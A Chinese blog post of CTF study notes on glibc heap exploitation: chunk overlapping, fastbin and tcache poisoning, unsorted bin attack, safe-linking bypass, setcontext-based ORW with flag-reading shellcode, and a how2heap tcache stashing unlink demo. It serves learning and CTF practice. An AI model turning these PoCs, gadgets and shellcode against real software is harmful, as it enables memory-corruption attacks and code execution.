堆知识--持续


author: moqizou

堆源码的知识总是看一点忘一点,导致堆的学习非常缓慢。这里我还是开个文章记录一下,堆源码的知识吧。

Chunk Extend and Overlapping

这是一种通过改变chunk head来达到伪造chunk大小,从而把用户区申请到相邻的chunk上去,达到溢出修改其他chunk的目的。

主要利用的ptmalloc机制如下。

  • 寻找下一个chunk的机制(下一个指高地址)

ptmalloc机制通过当前chunk指针加上当前chunk大小来获取下一个chunk的指针。

/* Ptr to next physical malloc_chunk. */
#define next_chunk(p) ((mchunkptr)(((char *) (p)) + chunksize(p)))

而获取chunk大小则是如下

/* Get size, ignoring use bits */
#define chunksize(p) (chunksize_nomask(p) & ~(SIZE_BITS))

/* Like chunksize, but do not mask SIZE_BITS.  */
#define chunksize_nomask(p) ((p)->mchunk_size)

一种是直接获取 chunk 的大小,不忽略掩码部分,另外一种是忽略掩码部分。

所以只要我们改掉size位就可以伪造当前chunk的size,从而对下一个chunk非法申请。

在 ptmalloc 中,获取前一个 chunk 信息的操作如下

/* Size of the chunk below P.  Only valid if prev_inuse (P).  */
#define prev_size(p) ((p)->mchunk_prev_size)

/* Ptr to previous physical malloc_chunk.  Only valid if prev_inuse (P).  */
#define prev_chunk(p) ((mchunkptr)(((char *) (p)) - prev_size(p)))

即通过 malloc_chunk->prev_size 获取前一块大小,然后使用本 chunk 地址减去所得大小。

在 ptmalloc,判断当前 chunk 是否是 use 状态的操作如下:

#define inuse(p)
    ((((mchunkptr)(((char *) (p)) + chunksize(p)))->mchunk_size) & PREV_INUSE)

即查看下一 chunkprev_inuse 域,而下一块地址又如我们前面所述是根据当前 chunk 的 size 计算得出的。

也就是说,伪造size 然后把chunk free之后,计算出来的下一个chunk,实际上就是更具伪造的size计算出来的。

利用如上几点可以进行extend 和 overlapping

总的来说,可以修改fd造成fastbin attack 也可以unsorted bin泄露主要是overlapping之后,原指针也可以操作chunk。

有溢出就可以用这个overlap,修改chunk指针,导致两个指针指向一个chunk

fastbin attack

利用点在于fastbin的管理机制,

首先,fastbin的pre_inuse位永远是1,这保证了fastbin不会发生合并

而且,fastbin free后是靠fd指针链接在一起的,所以先进去的在前面,也就是链表尾,那么遍历fasbin的时候,就是从最后一个进去的chunk开始遍历的,

所以fastbin 先进后出。

此外,_int_malloc 会对欲分配位置的 size 域进行验证,如果其 size 与当前 fastbin 链表应有 size 不符就会抛出异常。

_int_malloc 中的校验如下

if (__builtin_expect (fastbin_index (chunksize (victim)) != idx, 0))
    {
      errstr = "malloc(): memory corruption (fast)";
    errout:
      malloc_printerr (check_action, errstr, chunk2mem (victim));
      return NULL;
}

index,看fastbin的结构

Fastbins[idx=0, size=0x10]
Fastbins[idx=1, size=0x20]
Fastbins[idx=2, size=0x30]
Fastbins[idx=3, size=0x40]
Fastbins[idx=4, size=0x50]
Fastbins[idx=5, size=0x60]
Fastbins[idx=6, size=0x70]
//这里的size不包括chunk头

idx实际上是main_arena找相应的fasbin的一种方法吧,在进行fd修改的时候,要伪造size,而这里就可以看下怎么让大小在fastbin内

程序是 64 位的,因此 fastbin 的范围为 32 字节到 128 字节 (0x20-0x80)

##define fastbin_index(sz)                                                      \
    ((((unsigned int) (sz)) >> (SIZE_SZ == 8 ? 4 : 3)) - 2)

所以说,实际上0x7f是在idx=5的chunk,0x7f>>4 = 7 7-2 = 5

将fastbin分配到__malloc_hook或者__free_hook的时候,要注意这个,要去看hook附近有没有可以错位的大小。

最后fastbin attack其实目的就在于获得fd的控制权限。也就是chunk的任意分配。

tcache poisoning

tcache 也可以double free 而且在早期的libc2.27以前,可以说是横行霸道,应为可以直接多次free没有任何的保护机制。后来libc经过升级之后,增加了一些保护机制。

malloc.c->2904行

typedef struct tcache_entry
{
  struct tcache_entry *next;
  /* This field exists to detect double frees.  */
  struct tcache_perthread_struct *key;
} tcache_entry;

如源码,tcache结构体添加了一个key字段来防止double frees。

malloc.c->4189行

#if USE_TCACHE  {    size_t tc_idx = csize2tidx (size);    if (tcache != NULL && tc_idx < mp_.tcache_bins)      {	/* Check to see if it's already in the tcache.  */	tcache_entry *e = (tcache_entry *) chunk2mem (p);	/* This test succeeds on double free.  However, we don't 100%	   trust it (it also matches random payload data at a 1 in	   2^<size_t> chance), so verify it's not an unlikely	   coincidence before aborting.  */	if (__glibc_unlikely (e->key == tcache))//如果要free的块的key与tcache相等	  {	    tcache_entry *tmp;	    LIBC_PROBE (memory_tcache_double_free, 2, e, tc_idx);	    for (tmp = tcache->entries[tc_idx];		 tmp;		 tmp = tmp->next)//循环所有key相等的块	      if (tmp == e)//如果有块等于要free的块		malloc_printerr ("free(): double free detected in tcache 2");//报错,double free	    /* If we get here, it was a coincidence.  We've wasted a	       few cycles, but don't abort.  */	  }	if (tcache->counts[tc_idx] < mp_.tcache_count)	  {	    tcache_put (p, tc_idx);	    return;	  }      }  }

大概意思就是tcache有个key,如果你要去free一个chunk,那么就会判断,这个chunk是不是tcache,如果key和tcache相等就会遍历所有key相等的chunk,如果有相等的,就会爆出double free的错误。但是,当我们有UAF的时候,可以轻松绕过。

poc

1 malloc2 free3 修改key字段为别的值。4 再次free

这里拿一个师傅的demo来做例子

#include<stdio.h>int main(){	size_t *ptr1,ptx;	ptr1=malloc(0x100);	free(ptr1); //free一个chunk	sleep(0); //只是为了打断点,没别的用。	ptx=ptr1[1];	printf("prt1[1]=>0x%llx",ptx);	ptr1[1]=ptx-8;//将chunk的key的值-8;	free(ptr1);//测试	sleep(0);	return 0;}

不一定要减去8,只要不是现在这个都可以。

然后调试发现,ptr1[1]这个位置好像是tachebin存储idx的地方。然后的话,构成双向链表之后,show函数是很好去泄露堆地址的,泄露堆地址之后我也不知道干啥

有了,,,,tcache中,第一次申请tcache之后,会先申请一个0x250大小的chunk,记录每个tcache bin 链表的信息。double free形成之后,利用fd指针,把堆申请到这个0x250的chunk去,然后修改tcache bin的信息,让某个链表变满,然后再次free同大小的chunk就可以free进去unsorted bin了。

此外还有一种方法绕过,double free之后 malloc三次,tcache的记录就是-1,然后再次free同大小的chunk就会free进去unsorted bin。

unsorted bin

unsorted bin多用来泄露地址,但也有别的用法,关于unsorted bin首先,可以和top chunk合并,然后值得注意的是

相同size的chunk进入unsortedbin会进行合并

考虑到当我们将 tcache struct 送入 unsorted bin 中之后,其上会残留 main_arena 附近 的指针,而这个指针和 stdout 离得很近

可以利用unsorted bin 的切割拿到stdout附近的指针,从而对其劫持。

此外unsorted chunk会和topchunk合并,先进先出,从头部操作。泄露main_arena的话,可以查看libc里面malloc_trim的地址,或者利用malloc_hook算出来,

main_arena_offset = ELF("libc.so.6").symbols["__malloc_hook"] + 0x10

访问链表尾可以获得fd就可以泄露libc,但是,如果是链表头的话printf在64位往往会被截断。

unsorted bin attack

malloc有一段这样的代码,

          /* remove from unsorted list */          if (__glibc_unlikely (bck->fd != victim))            malloc_printerr ("malloc(): corrupted unsorted chunks 3");          unsorted_chunks (av)->bk = bck;          bck->fd = unsorted_chunks (av);

类似于unlink的解链操作。而

        while ((victim = unsorted_chunks(av)->bk) != unsorted_chunks(av)) {            bck = victim->bk;            if (__builtin_expect(chunksize_nomask(victim) <= 2 * SIZE_SZ, 0) ||                __builtin_expect(chunksize_nomask(victim) > av->system_mem, 0))                malloc_printerr(check_action, "malloc(): memory corruption",                                chunk2mem(victim), av);            size = chunksize(victim);            /*               If a small request, try to use last remainder if it is the               only chunk in unsorted bin.  This helps promote locality for               runs of consecutive small requests. This is the only               exception to best-fit, and applies only when there is               no exact fit for a small chunk.             */            /* 显然,bck被修改,并不符合这里的要求*/            if (in_smallbin_rage(nb) && bck == unsorted_chunks(av) &&                victim == av->last_remainder &&                (unsigned long) (size) > (unsigned long) (nb + MINSIZE)) {                ....            }            /* remove from unsorted list */            unsorted_chunks(av)->bk = bck;            bck->fd                 = unsorted_chunks(av);

不难发现,在unsorted chunk解链的过程中,victim的fd似乎没有任何作用,所以可以控制fd,然后指向一个位置,利用解链操作就可以实现attack,这里确实可以和off_by_one形成一些unlink攻击,利用的是malloc的时候,回去unsorted bin里面一个一个的寻找chunk,如果不符合就解链把chunk送到合适的bin里面去。

但是这里写入的是一个地址,就是可以给一个地址写入一个超级大的变量,但是我们无法控制这一块地址。

特殊利用

利用 unsorted bin attack ,修改 global_max_fast 全局变量,由于 global_max_fast 变量为控制最大的 Fast chunk 的大小,将这里改写为 unsorted bin 的地址 (一般来说是一个很大的正数),就能使之后的 chunk 都被当作 fast chunk,即可进行 Fast bin attack。

tcache 管理器的利用

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-23XFxMug-1629806041607)(https://i.bmp.ovh/imgs/2021/05/6614988d4c0429fe.png)]

分析知道,从对管理器chunk的fd开始每个字节代表一个大小的tcache,从0x20开始一共64个字节,64个tcache链,然后每个链表的头都会记录在这个管理器里面。我们可以利用uaf等漏洞,把chunk分配到这上面来,从而控制tcache_entry。

关于libc2.32中tcache管理器的不同,

在libc2.27中,tcache管理器只有0x250的大小,然后tcache的fd什么的也类似fastbin,但是调试ff的时候发现,fd非常的混乱,但是heapinfo(pwngdb)和fd显示的内容不一样,我就想知道为什么,找了一些资料。

libc2.32中的tcache管理器大小是0x290,多了0x40。先不看这里,那为什么fd不是我们期望的值呢?

看下面libc2.32新增的保护(glibc2.31以下没有)

glibc 2.32下的 tcache_put 与 tcache_get

在tcache取出和存放的时候加了一层保护,在 glibc 2.32 中引入了一个简单的异或加密机制:

/* Caller must ensure that we know tc_idx is valid and there's roomfor more chunks.  */static __always_inline voidtcache_put (mchunkptr chunk, size_t tc_idx){tcache_entry *e = (tcache_entry *) chunk2mem (chunk);/* Mark this chunk as "in the tcache" so the test in _int_free will  detect a double free.  */e->key = tcache;e->next = PROTECT_PTR (&e->next, tcache->entries[tc_idx]);tcache->entries[tc_idx] = e;++(tcache->counts[tc_idx]);}/* Caller must ensure that we know tc_idx is valid and there'savailable chunks to remove.  */static __always_inline void *tcache_get (size_t tc_idx){tcache_entry *e = tcache->entries[tc_idx];if (__glibc_unlikely (!aligned_OK (e))) malloc_printerr ("malloc(): unaligned tcache chunk detected");tcache->entries[tc_idx] = REVEAL_PTR (e->next);--(tcache->counts[tc_idx]);e->key = NULL;return (void *) e;}
  • 新增了在从 tcache 中取出 chunk 时会检测 chunk 地址是否对齐的保护(aligned_ok)
  • 引入了两个新的宏对 tcache 中存/取 chunk 的操作进行了一层保护,即在 new chunk 链接 tcache 中 old chunk 时会进行一次异或运算,代码如下:
#define PROTECT_PTR(pos, ptr) \((__typeof (ptr)) ((((size_t) pos) >> 12) ^ ((size_t) ptr)))#define REVEAL_PTR(ptr)  PROTECT_PTR (&ptr, ptr)

即 tcache_entry->next中存放的chunk地址为 next的地址右移12位与当前tcache_entry地址进行异或运算后所得到的值, 这就要求我们在利用 tcache_entry 进行任意地址写之前 需要我们提前泄漏出相应 chunk 的地址,即我们需要提前获得堆基址后才能进行任意地址写,这给传统的利用方式无疑是增加了不少的难度

不过若是我们能够直接控制 tcache struct,则仍然可以直接进行任意地址写,这是因为在 tcache struct 中存放的仍是未经异或运算的原始 chunk 地址

那么就有了新的利用方法。

leak heap_base

当我们malloc第一个chunk的时候,当前地址位NULL,下一个chunk的地址就是堆地址,移12位之后异或,得到的就是heap_base所以实际上对堆基址的泄露更加简单了

具体的利用看vnctf2021 ff。

tcache从0到1

首先看一下这个的结构体吧

/* We overlay this structure on the user-data portion of a chunk when the chunk is stored in the per-thread cache.  */typedef struct tcache_entry{  struct tcache_entry *next;} tcache_entry;/* There is one of these for each thread, which contains the per-thread cache (hence "tcache_perthread_struct").  Keeping overall size low is mildly important.  Note that COUNTS and ENTRIES are redundant (we could have just counted the linked list each time), this is for performance reasons.  */typedef struct tcache_perthread_struct{  char counts[TCACHE_MAX_BINS];  tcache_entry *entries[TCACHE_MAX_BINS];} tcache_perthread_struct;static __thread tcache_perthread_struct *tcache = NULL;

tcahce_struct结构体声明和我们想的一样,前面是存储counts的数组,后面是链表头。tcache里面只有一个next指针

再看两个函数

static voidtcache_put (mchunkptr chunk, size_t tc_idx){  tcache_entry *e = (tcache_entry *) chunk2mem (chunk);  assert (tc_idx < TCACHE_MAX_BINS);  e->next = tcache->entries[tc_idx];  tcache->entries[tc_idx] = e;  ++(tcache->counts[tc_idx]);}static void *tcache_get (size_t tc_idx){  tcache_entry *e = tcache->entries[tc_idx];  assert (tc_idx < TCACHE_MAX_BINS);  assert (tcache->entries[tc_idx] > 0);  tcache->entries[tc_idx] = e->next;  --(tcache->counts[tc_idx]);  return (void *) e;}

关于puts,没有检查size域啥的,只检查了大小。然后加入到链表头get的话,从头取出,也没有具体的判定,根据malloc的申请量获得idx,然后直接从链表头取出。

这两个函数在int_malloc 和 int_free之前会被调用。

利用点在malloc申请的时候,tcache没有的时候也有别的来源

  • fastbin,如果有符合大小的chunk,会返回chunk,然后把当前链表剩下的放到tcache里面。
  • smallbin 同理
  • unsorted bin里面的时候当找到大小合适的链时,并不直接返回,而是先放到 tcache 中,继续处理。

fastbin有一种攻击手法针对这个,先看源码

  if ((unsigned long) (nb) <= (unsigned long) (get_max_fast ()))    {      idx = fastbin_index (nb);      mfastbinptr *fb = &fastbin (av, idx);      mchunkptr pp;      victim = *fb;      if (victim != NULL)    {      if (SINGLE_THREAD_P)        *fb = victim->fd;      else        REMOVE_FB (fb, pp, victim);      if (__glibc_likely (victim != NULL))        {          size_t victim_idx = fastbin_index (chunksize (victim));          if (__builtin_expect (victim_idx != idx, 0))              malloc_printerr ("malloc(): memory corruption (fast)");          check_remalloced_chunk (av, victim, nb);#if USE_TCACHE          /* While we're here, if we see other chunks of the same size,         stash them in the tcache.  */          size_t tc_idx = csize2tidx (nb);          if (tcache && tc_idx < mp_.tcache_bins)        {          mchunkptr tc_victim;          /* While bin not empty and tcache not full, copy chunks.  */          while (tcache->counts[tc_idx] < mp_.tcache_count            && (tc_victim = *fb) != NULL)            {              if (SINGLE_THREAD_P)               *fb = tc_victim->fd;              else              {                REMOVE_FB (fb, pp, tc_victim);                if (__glibc_unlikely (tc_victim == NULL))                  break;              }              tcache_put (tc_victim, tc_idx);            }        }#endif          void *p = chunk2mem (victim);          alloc_perturb (p, bytes);          return p;        }    }    }

函数和变量太多了有点没看懂,到后面再分析。

smallbin的利用

smallbin脱链的时候也会有unlink这样的东西,但是没有合并的时候的检测机制,所以unlink也可以在这个条件下使用,但是还没见过

堆上的orw

利用setcontext实现程序流的劫持。定义

#include <ucontext.h>int setcontext(const ucontext_t *ucp);

而这个函数的内容,

<setcontext>:     push   rdi<setcontext+1>:   lea    rsi,[rdi+0x128]<setcontext+8>:   xor    edx,edx<setcontext+10>:  mov    edi,0x2<setcontext+15>:  mov    r10d,0x8<setcontext+21>:  mov    eax,0xe<setcontext+26>:  syscall <setcontext+28>:  pop    rdi<setcontext+29>:  cmp    rax,0xfffffffffffff001<setcontext+35>:  jae    0x7ffff7a7d520 <setcontext+128><setcontext+37>:  mov    rcx,QWORD PTR [rdi+0xe0]<setcontext+44>:  fldenv [rcx]<setcontext+46>:  ldmxcsr DWORD PTR [rdi+0x1c0]<setcontext+53>:  mov    rsp,QWORD PTR [rdi+0xa0]<setcontext+60>:  mov    rbx,QWORD PTR [rdi+0x80]<setcontext+67>:  mov    rbp,QWORD PTR [rdi+0x78]<setcontext+71>:  mov    r12,QWORD PTR [rdi+0x48]<setcontext+75>:  mov    r13,QWORD PTR [rdi+0x50]<setcontext+79>:  mov    r14,QWORD PTR [rdi+0x58]<setcontext+83>:  mov    r15,QWORD PTR [rdi+0x60]<setcontext+87>:  mov    rcx,QWORD PTR [rdi+0xa8]<setcontext+94>:  push   rcx<setcontext+95>:  mov    rsi,QWORD PTR [rdi+0x70]<setcontext+99>:  mov    rdx,QWORD PTR [rdi+0x88]<setcontext+106>: mov    rcx,QWORD PTR [rdi+0x98]<setcontext+113>: mov    r8,QWORD PTR [rdi+0x28]<setcontext+117>: mov    r9,QWORD PTR [rdi+0x30]<setcontext+121>: mov    rdi,QWORD PTR [rdi+0x68]<setcontext+125>: xor    eax,eax<setcontext+127>: ret    <setcontext+128>: mov    rcx,QWORD PTR [rip+0x356951]        # 0x7ffff7dd3e78<setcontext+135>: neg    eax<setcontext+137>: mov    DWORD PTR fs:[rcx],eax<setcontext+140>: or     rax,0xffffffffffffffff<setcontext+144>: ret

利用rdi寄存器控制了几乎所有的寄存器,其实就是保存和回复上下文,和SROP应该有类似的原理。

至于为什么要跳到 setcontext+53 这个位置。因为fldenv [rcx]指令会造成程序执行的时候直接crash,所以要避开这个指令。

此外rsp的值也要注意,push ecx 和后面的ret,要求指向的内存可以访问

利用,其中参数就是rdi,所以我们就是要构造,ucontext_t可以利用SROP的Sigreturnframe()来构造结构体。

# 指定机器的运行模式context.arch = "amd64"# 设置寄存器frame = SigreturnFrame()frame.rax = 0frame.rdi = 0frame.rsi = 0frame.rdx = 0

类似上面。一般利用思路如下

执行mprotect函数,后注入shellcode。也可以直接用来构造ROP链。

打hook为<setcontext+53>然后

只要把该SigreturnFrame写入一个chunk中,free它就能达到目的,这里就要事先去了解SigreturnFrame的结构了,这是一个str类型的东西,free这个东西的时候,他就是rdi,通过这个可以直接掌控rdi偏移位置的寄存器。

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-JWtQaOnK-1629806041610)(https://i.loli.net/2021/04/25/TJmHMPc46jQSXx8.png)]

除掉第一个return的系统调用,偏移和setcontext一摸一样。值得注意的是当free这个变量之后,rsp是最先恢复的,所以内存一定要可以访问,而rcx对应的是rdi+0xa8那么对应到框架里面就是rip所以等价起来就是控制rip就可以了。总的来说,一般偏移不变,特殊情况除外。

看一段mprotect的利用

首先,我们把setcontent+53的地址写入__free_hook,并在其之后0x10字节内存中写上两遍__free_hook+0x18的地址,最后把如下shellcode1写入:

xor rdi,rdimov rsi,%dmov edx,0x1000mov eax,0syscalljmp rsi

setcontext的主要代码如下:

frame = SigreturnFrame()frame.rsp = free_hook+0x10frame.rdi = new_addrframe.rsi = 0x1000frame.rdx = 7frame.rip = libc.sym['mprotect']

当mprotect执行完时,rsp指向__free_hook+0x10,其中的值为__free_hook+0x18,这样我们就执行了第一段shellcode,这段shellcode的目的是往指定内存中读入shellcode并跳过去执行
我们第二段shellcode如下:

mov rax, 0x67616c662f2e ;// ./flagpush raxmov rdi, rsp ;// ./flagmov rsi, 0 ;// O_RDONLYxor rdx, rdx ;mov rax, 2 ;// SYS_opensyscallmov rdi, rax ;// fd mov rsi,rsp  ;mov rdx, 1024 ;// nbytesmov rax,0 ;// SYS_readsyscallmov rdi, 1 ;// fd mov rsi, rsp ;// bufmov rdx, rax ;// count mov rax, 1 ;// SYS_writesyscallmov rdi, 0 ;// error_codemov rax, 60syscall

然后其他的方法还有待自己学习。

看一篇demo

vnctf2021

glibc>2.29

当到了高版本libc之后rdi变成了rdx,而控制rdx的gadget少的不行,所以提供一个万能gadget

  • 第一种setcontext的方法

这其中用到的 gadgetgetkeyserv_handle+576,其汇编如下

mov     rdx, [rdi+8]mov     [rsp+0C8h+var_C8], raxcall    qword ptr [rdx+20h]

这个 gadget可以通过 rdi 来控制 rdx, 非常好用,而且从 Glibc2.29到2.32都可用

  • 第二种,栈迁移

又要控制 rdx又要构造 setcontext,很麻烦,在这里介绍另一种解法,通过 gadget控制rbp的值,从而进行栈迁移,将栈劫持到我们可以控制的堆地址上,并执行预先布置的rop链,从而获取flag

先介绍一下万金油的gadget svcudp_reply+26,汇编如下

    mov rbp, qword ptr [rdi + 0x48];     mov rax, qword ptr [rbp + 0x18];     lea r13, [rbp + 0x10];     mov dword ptr [rbp + 0x10], 0;     mov rdi, r13;     call qword ptr [rax + 0x28];

这个gadgets主要是通过 rdi控制 rbp进而控制 rax并执行跳转,由于我们已经控制了 rbp的值,因此只需要在 rax+0x28的位置部署 leave;ret即可完成栈迁移

从而在我们已经布置好 orw rop链的位置伪造栈地址并劫持控制流,最终读取flag

  • 第三种,环境变量打main函数的返回地址

这种方法国赛有师傅用到了,写在了我的国赛WP上。

如果 栈地址已知的话,解题过程会更加简单,而且不需要特意去寻找万金油的gadgets

那么如何泄露栈地址呢?

其实程序的栈地址会存放在 __environ中,我们只要输出__environ的内容就能获取栈地址

在获取到栈地址后,我在main函数的 ret处下一个断点,发现main函数返回值和我们泄露的栈地址正好相差 xxx这个偏移要自己去算,反复验证,反复计算。稍微错一点都不可以。

至此,堆上的orw基本就这些姿势了。还是强调,手法,百无禁忌

off_by_NULL

知道off_by_one可以造成overlap,但是by__NULL怎么利用还不知道,这里专门写一下。

利用unsorted bin(有tcache)向前overlap,伪造pre_size和覆盖insure。然后就可以伪造前面chunk的大小了,之后把前面的chunk free然后unsorted bin中的chunk就会合并,这样中间的chunk就会多出控制(fd,bk)的机会,(根据unsorted_bin分割原理)就造成了tcache可next可控,劫持到main_arena这样的地方。

IO

可以利用arena和stdout很近,那么可以修改最低位,然后爆破12bit,malloc到stdout结构体,然后修改结构体内部,伪造_flag可以打穿stdout。具体的绕过还要看源码,这个源码比malloc难看。。。。

一般是修改write_base偏移是32,修改到某个地方,然后减去这个地方的偏移,然后就可以泄露了。

一般是直接修改到stdout的另外一个地方,然后减去后五位。

tcache stashing unlink

许久未写堆题,最近一写暴露出来一些不足。
以前对于堆的学习,可以说是没有主干,看一下源码,学一点东西,做一点题,凭着感觉还能写出来几个题,但是不系统,所以现在希望对一写经典的利用手法进行归纳。也算是做一个总结

环境

libc 2.29 2.31 (2.27应该可以)
tcache的利用

描述

calloc分配堆的时候,不从tcache中取,从small bin 里面取,如果此时tcache bin空闲。就会把多余的small chunk头插法插入tcache

源码

/*      If a small request, check regular bin.  Since these "smallbins"      hold one size each, no searching within bins is necessary.      (For a large request, we need to wait until unsorted chunks are      processed to find best fit. But for small ones, fits are exact      anyway, so we can check now, which is faster.)    */      if (in_smallbin_range (nb))      {        idx = smallbin_index (nb);        bin = bin_at (av, idx);          if ((victim = last (bin)) != bin) //取该索引对应的small bin中最后一个chunk          {            bck = victim->bk;  //获取倒数第二个chunk        if (__glibc_unlikely (bck->fd != victim)) //检查双向链表完整性          malloc_printerr ("malloc(): smallbin double linked list corrupted");            set_inuse_bit_at_offset (victim, nb);            bin->bk = bck; //将victim从small bin的链表中卸下            bck->fd = bin;              if (av != &main_arena)          set_non_main_arena (victim);            check_malloced_chunk (av, victim, nb);  #if USE_TCACHE        /* While we're here, if we see other chunks of the same size,          stash them in the tcache.  */        size_t tc_idx = csize2tidx (nb); //获取对应size的tcache索引        if (tcache && tc_idx < mp_.tcache_bins) //如果该索引在tcache bin范围          {            mchunkptr tc_victim;              /* While bin not empty and tcache not full, copy chunks over.  */            while (tcache->counts[tc_idx] < mp_.tcache_count  //当tcache bin不为空并且没满,并且small bin不为空,则依次取最后一个chunk插入到tcache bin里               && (tc_victim = last (bin)) != bin)          {            if (tc_victim != 0)              {                bck = tc_victim->bk;                set_inuse_bit_at_offset (tc_victim, nb);                if (av != &main_arena)              set_non_main_arena (tc_victim);                bin->bk = bck; //将当前chunk从small bin里卸下                bck->fd = bin;                        //放入tcache bin里                tcache_put (tc_victim, tc_idx);                  }          }          }  #endif            void *p = chunk2mem (victim);            alloc_perturb (p, bytes);            return p;          }      }

不难发现使用tcache的时候,沒有增加双向链表的检测,直接就是bck=tc_victim->bk然后利用bck直接脱去small_bin的链,把tc_victim加入tcache,这里注意small_bin是FIFO先进先出。
所以如果我们可以劫持small_bin中某一节点的bk值(因为是通过bk来寻找的,而不是fd如果是FILO应该就是fd指针。)

例子

how2heap的一个实验来说明

# glibc-2.27#include <stdio.h>#include <stdlib.h>#include <assert.h>int main(){    unsigned long stack_var[0x10]={0};    unsigned long *chunk_list[0x10]={0};    unsigned long *target;    setbuf(stdout, NULL);    printf("stack_var addr is:%p\n",&stack_var[0]);    printf("chunk_lis addr is:%p\n",&chunk_list[0]);    printf("target addr is:%p\n",(void*)target);    stack_var[3] = (unsigned long)(&stack_var[2]);    for(int i = 0;i < 9;i++){         chunk_list[i] = (unsigned long*)malloc(0x90);    }    for(int i = 3;i < 9;i++){        free(chunk_list[i]);    }        free(chunk_list[1]);    free(chunk_list[0]);    free(chunk_list[2]);        malloc(0xa0);    malloc(0x90);    malloc(0x90);        chunk_list[2][1] = (unsigned long)stack_var;    calloc(1,0x90);   target = malloc(0x90);    printf("target now: %p\n",(void*)target);    assert(target == &stack_var[2]);    return 0;}

上调试吧。

stack_var addr is:0x7fffffffde20chunk_lis addr is:0x7fffffffdea0target addr is:0x7ffff7dde39f

这是最开始的打印。然后就是执行stack_var[3] = (unsigned long)(&stack_var[2]);,malloc了9个chunk,0xa0大小
之后free掉,后6个先free,前三个为了保证不会在unsorted bin发生合并,岔开free,就有了如下的bin表

                  top: 0x4057f0 (size : 0x20810)        last_remainder: 0x0 (size : 0x0)             unsortbin: 0x405390 (size : 0xa0) <--> 0x405250 (size : 0xa0)(0xa0)   tcache_entry[8](7): 0x405300 --> 0x405760 --> 0x4056c0 --> 0x405620 --> 0x405580 --> 0x4054e0 --> 0x405440

之后malloc(0xa0)是因为如果没有匹配的chunk,unsorted_bin里面的chunk就会被分配,这样的话这两个unsorted bin的chunk就进到了small bin,然后再去freet cache_chunk空出两个位置。

smallbins0xa0: 0x405390 —▸ 0x405250 —▸ 0x7ffff7dcdd30 (main_arena+240) ◂— 0x405390

然后改chunk[2]的bk,再去calloc就会发生unlink。

smallbins0xa0 [corrupted]FD: 0x405390 —▸ 0x405250 —▸ 0x7ffff7dcdd30 (main_arena+240) ◂— 0x405390BK: 0x405250 —▸ 0x405390 —▸ 0x7fffffffde20 —▸ 0x7fffffffde30 ◂— 0x0

然后发现target变了位置,这就是简单的tcache-stashing,原理是如此,按照这样实际上可以实现任意地址分配。

  • 0
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
Icecream Slideshow Maker是一款免费简单易用的照片幻灯片视频制作软件,可以把你喜爱的照片导入,制作成漂亮的幻灯片视频。将生活的点滴相片放进去,加入花哨的过渡效果和背景音乐。使用Icecream Slideshow Maker,你并不需要多少科技知识就能在几分钟内创建一个多媒体幻灯片与音乐:只需添加照片,配置幻灯片过渡和持续时间,添加合适的MP3文件,预览项目,只需按下“Create”按钮来欣赏最终的结果! Icecream Slideshow Maker软件说明 现代人结婚的礼俗没少半个,婚宴的花招却越来越多了!如果是在餐厅裡面请客,几乎都不免俗的会弄个婚礼 MV 或交往过程、两人成长纪录的照片集+影片。如果你刚好也有这类需求,不管是不是要结婚,或者只是单纯弄个简单的影片在聚会的场合或给亲朋好友看看,都可以用下面这套软体来做。 Icecream Slideshow Maker 是个非常简单的幻灯秀影片製作工具,主要功能就是把一照片串起来,搭配好听的 MP3 背景音乐,在每张照片中间加个过场特效,随便按一按就能快速搞定! Icecream Slideshow Maker 可汇入 png, jpeg, bmp 等格式的图片档,每张图片都可自订显示时间(长度1~20秒),可支援 26 种过场动画视觉特效,每种过场动画都相当赏心悦目,甚至还支援了直接上传 YouTube 的功能,让我们轻鬆製作幻灯秀影片、快速上传分享。  Icecream Slideshow Maker软件截图
算法与数据结构涵盖了以下主要内容: 数据结构(Data Structures): 逻辑结构:描述数据元素之间的逻辑关系,如线性结构(如数组、链表)、树形结构(如二叉树、、B树)、图结构(有向图、无向图等)以及集合和队列等抽象数据类型。 存储结构(物理结构):描述数据在计算机中如何具体存储。例如,数组的连续存储,链表的动态分配节点,树和图的邻接矩阵或邻接表表示等。 基本操作:针对每种数据结构,定义了一系列基本的操作,包括但不限于插入、删除、查找、更新、遍历等,并分析这些操作的时间复杂度和空间复杂度。 算法: 算法设计:研究如何将解决问题的步骤形式化为一系列指令,使得计算机可以执行以求解问题。 算法特性:包括输入、输出、有穷性、确定性和可行性。即一个有效的算法必须能在有限步骤内结束,并且对于给定的输入产生唯一的确定输出。 算法分类:排序算法(如冒泡排序、快速排序、归并排序),查找算法(如顺序查找、二分查找、哈希查找),图论算法(如Dijkstra最短路径算法、Floyd-Warshall算法、Prim最小生成树算法),动态规划,贪心算法,回溯法,分支限界法等。 算法分析:通过数学方法分析算法的时间复杂度(运行时间随数据规模增长的速度)和空间复杂度(所需内存大小)来评估其效率。 学习算法与数据结构不仅有助于理解程序的内部工作原理,更能帮助开发人员编写出高效、稳定和易于维护的软件系统。
刚刚发布的ThoughtWorks技术雷达 建议技术团队“暂缓或谨慎”使用反模式“CI theatre(伪CI,可以理解为不完整的持续集成)”。 “伪CI”描述的是实践持续集成(CI)过程中的一些错觉,然而这些并不是真正的CI实践。 基于持续集成,我和同事 Emily Luke做了一些研究, 我将分享伪CI是什么样的,为什么我们建议你“暂缓或谨慎使用”,以及预防伪CI的方法。持续集成我最喜欢的CI定义来自于continuousdelivery.comCI开发人员定期(至少每天)将他们所有的工作集成到主干(也称为主线或主干分支)这个引用中暗含了CI实践的两个基本原则。第一个是“把他们所有的工作集成到主干”;第二个是“至少每天”。对于CI还有一系列其他原则和实践,例如:将所有内容都检入您的代码库,构建每个提交,自动化构建,保持快速构建,并有可以自我验证的代码, 还有Martin Fowler 关于持续集成的评论中的可视化故障并立即修复故障等。我个人认为 每天至少检入代码到主干分支一次 是CI的基础。没有达到这一点就只是伪CI而不是真正意义上的CI。伪CI是什么样的?这是我们调研到的一个故事,一位经验丰富的开发人员(让我们称他为David)来自湾区的一个中型创业公司,每周有两次产品交付。 David说他的组织正在践行CI,他说:“是的,我们用Circle 